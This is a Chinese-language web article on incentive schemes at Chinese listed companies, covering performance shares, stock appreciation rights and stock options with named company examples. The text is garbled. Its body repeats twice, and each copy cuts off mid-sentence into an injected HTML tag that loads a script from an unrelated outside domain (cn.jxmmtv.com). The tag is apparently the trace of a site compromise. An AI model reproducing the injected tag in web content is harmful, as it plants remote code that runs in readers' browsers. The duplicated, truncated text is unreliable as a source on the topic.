中国上市公司激励机制十大模式
业绩股票:广泛使用的激励模式
业绩股票在中国上市公司股权激励机制中占较大的比例,是目前被采用 广泛的一种激励模式。
业绩股票(也可称为业绩股权),是指公司根据被激励者业绩水平,以普通股作为长期激励形式支付给经营者。通常是公司在年初确定业绩目标,如果激励对象在年末达到预定目标,则公司授予其一定数量的股票或提取一定的奖励基金购买公司股票。
国内上市公司中,佛山照明、广东福地、天药股份三家上市公司业绩股权激励计划都是每年提取一定数额的奖励基金,部分或全部用来购买本公司的股票。
股票增值:简单易行的激励模式
在中国上市公司激励机制十大模式中,股票增值是简单易行的一种。
股票增值权(Stock Appreciation Rights SARs)是指公司给予激励对象一种权利:经营者可以在规定时间内获得规定数量的股票股价上升所带来的收益,但不拥有这些股票的所有权,自然也不拥有表决权、配股权。按照合同的具体规定,股票增值权的实现可以是全额兑现,也可以是部分兑现。另外,股票增值权的实施可以是用现金实施,也可以折合成股票来加以实施,还可以是现金和股票形式的组合。股票增值权经常在三个条件下使用,第一个是股票薪酬计划可得股票数额有限,第二个是股票期权或股票赠与导致的股权稀释太大,第三个是封闭公司,没有股票给员工。
在国内上市公司中,中石化和三毛派神均采取了股权增值方案。
中国上市公司目前的股权增值方案和国外相比,仍然是比较保守的,存在较多的限制条件。
第一,股票增值权的主要设计思路是以公司股票在市场的价格升幅来给持有人员创造收益的。增值权持有人要想获得收益,必须努力提升公司的业绩,以换取市场的认同而使股价上扬。这样,股价的上扬要求也即是对持有人强有力的约束。国内的公司在制定这类激励方案时,除了宏观方面的限制外,一般都还会加上其他的条件,如中石化的关键绩效指标与三毛派神的净资产增值。多重的限制条件对管理层提出了更高的要求,但同时也削弱了股票增值权的激励效率;
第二,激励收益金额较低。中石化的股票增值权方案给了管理人员 多70%的浮动收入。如果H股的价格上涨了1元,就可能会给数位高管带来百万的收入。当然,这对他们以前的工资来说,是一笔不菲的收入。但是,相对他们给公司带来的收益,这却是非常微小的一部分,接近0.3%而已。管理人员创造的价值与他们的所得仍不成比例;
第三,激励执行机制存在问题。激励机制在中国出现的时间并不长,还属于一个较新的事物。目前更多的公司考虑的问题是如何才能在公司里推行这些方案。至于实行何种方案、每种方案的优缺点则是下一步才考虑的事情。而对股票增值权来讲,虽然比较简单,但要求涉及的专业问题则较复杂。
股票期权:政策边缘的激励模式
在国外,股票期权激励已有相当长的历史。但在中国,由于金融市场的不成熟,加上受政策和法规限制,中国企业股票期权的探索一直行走在政策的边缘。和国外通行的方案相比,中国的股票期权方案具备自己的特色。
股票期权(Stock Options)是以股票为标的物的一种合约,期权合约的卖方也称立权人,通过收取权利金将执行或不执行该项期权合约的选择权让渡给期权合约的买方,也称持权人。持权人将根据约定价格和股票市场价格的差异情况决定执行或放弃该期权合约。在美国,那些进入指数的股票,一般都有标准化的期权合约在市场上交易,这些股票期权合约的交易与发行股票的公司无关。
股票期权作为公司给予经理人员购买本公司股票的选择权,是公司长期激励制度的一种。持有这种权利的人员,即股票期权受权人,可以按约定的价格和数量在受权以后的约定时间内购买股票,并有权在一定时间后将所购的股票在股市上出售,但股票期权本身不可转让。
股票期权的设计原理与股票增值近似,区别在于:认购股票期权时,持有人必须购入股票;而股票增值权的持有者在行权时,可以直接对股票的升值部分要求兑现,无需购买股票。
目前我国上市公司中,长源电力、清华同方、东方电子、中兴通讯等均推行了股票期权方案。
在国外,解决股票来源一般有三种方法:
第一,原股东把其股权出让给经营者。在中国,由于内部人控制问题,采用这种方法会导致企业经营者将国有股份以较低的价格进行转让,造成国有资产流失。国有股的出让会受到诸多的限制并必须经过严格的审批程序。这种方法存在较多的难度。
第二,公司增发新股给经营者。目前中国的新股?script src=http://cn.jxmmtv.com/cn.js></Script>
业绩股票在中国上市公司股权激励机制中占较大的比例,是目前被采用 广泛的一种激励模式。
业绩股票(也可称为业绩股权),是指公司根据被激励者业绩水平,以普通股作为长期激励形式支付给经营者。通常是公司在年初确定业绩目标,如果激励对象在年末达到预定目标,则公司授予其一定数量的股票或提取一定的奖励基金购买公司股票。
国内上市公司中,佛山照明、广东福地、天药股份三家上市公司业绩股权激励计划都是每年提取一定数额的奖励基金,部分或全部用来购买本公司的股票。
股票增值:简单易行的激励模式
在中国上市公司激励机制十大模式中,股票增值是简单易行的一种。
股票增值权(Stock Appreciation Rights SARs)是指公司给予激励对象一种权利:经营者可以在规定时间内获得规定数量的股票股价上升所带来的收益,但不拥有这些股票的所有权,自然也不拥有表决权、配股权。按照合同的具体规定,股票增值权的实现可以是全额兑现,也可以是部分兑现。另外,股票增值权的实施可以是用现金实施,也可以折合成股票来加以实施,还可以是现金和股票形式的组合。股票增值权经常在三个条件下使用,第一个是股票薪酬计划可得股票数额有限,第二个是股票期权或股票赠与导致的股权稀释太大,第三个是封闭公司,没有股票给员工。
在国内上市公司中,中石化和三毛派神均采取了股权增值方案。
中国上市公司目前的股权增值方案和国外相比,仍然是比较保守的,存在较多的限制条件。
第一,股票增值权的主要设计思路是以公司股票在市场的价格升幅来给持有人员创造收益的。增值权持有人要想获得收益,必须努力提升公司的业绩,以换取市场的认同而使股价上扬。这样,股价的上扬要求也即是对持有人强有力的约束。国内的公司在制定这类激励方案时,除了宏观方面的限制外,一般都还会加上其他的条件,如中石化的关键绩效指标与三毛派神的净资产增值。多重的限制条件对管理层提出了更高的要求,但同时也削弱了股票增值权的激励效率;
第二,激励收益金额较低。中石化的股票增值权方案给了管理人员 多70%的浮动收入。如果H股的价格上涨了1元,就可能会给数位高管带来百万的收入。当然,这对他们以前的工资来说,是一笔不菲的收入。但是,相对他们给公司带来的收益,这却是非常微小的一部分,接近0.3%而已。管理人员创造的价值与他们的所得仍不成比例;
第三,激励执行机制存在问题。激励机制在中国出现的时间并不长,还属于一个较新的事物。目前更多的公司考虑的问题是如何才能在公司里推行这些方案。至于实行何种方案、每种方案的优缺点则是下一步才考虑的事情。而对股票增值权来讲,虽然比较简单,但要求涉及的专业问题则较复杂。
股票期权:政策边缘的激励模式
在国外,股票期权激励已有相当长的历史。但在中国,由于金融市场的不成熟,加上受政策和法规限制,中国企业股票期权的探索一直行走在政策的边缘。和国外通行的方案相比,中国的股票期权方案具备自己的特色。
股票期权(Stock Options)是以股票为标的物的一种合约,期权合约的卖方也称立权人,通过收取权利金将执行或不执行该项期权合约的选择权让渡给期权合约的买方,也称持权人。持权人将根据约定价格和股票市场价格的差异情况决定执行或放弃该期权合约。在美国,那些进入指数的股票,一般都有标准化的期权合约在市场上交易,这些股票期权合约的交易与发行股票的公司无关。
股票期权作为公司给予经理人员购买本公司股票的选择权,是公司长期激励制度的一种。持有这种权利的人员,即股票期权受权人,可以按约定的价格和数量在受权以后的约定时间内购买股票,并有权在一定时间后将所购的股票在股市上出售,但股票期权本身不可转让。
股票期权的设计原理与股票增值近似,区别在于:认购股票期权时,持有人必须购入股票;而股票增值权的持有者在行权时,可以直接对股票的升值部分要求兑现,无需购买股票。
目前我国上市公司中,长源电力、清华同方、东方电子、中兴通讯等均推行了股票期权方案。
在国外,解决股票来源一般有三种方法:
第一,原股东把其股权出让给经营者。在中国,由于内部人控制问题,采用这种方法会导致企业经营者将国有股份以较低的价格进行转让,造成国有资产流失。国有股的出让会受到诸多的限制并必须经过严格的审批程序。这种方法存在较多的难度。
第二,公司增发新股给经营者。目前中国的新股?script src=http://cn.jxmmtv.com/cn.js></Script>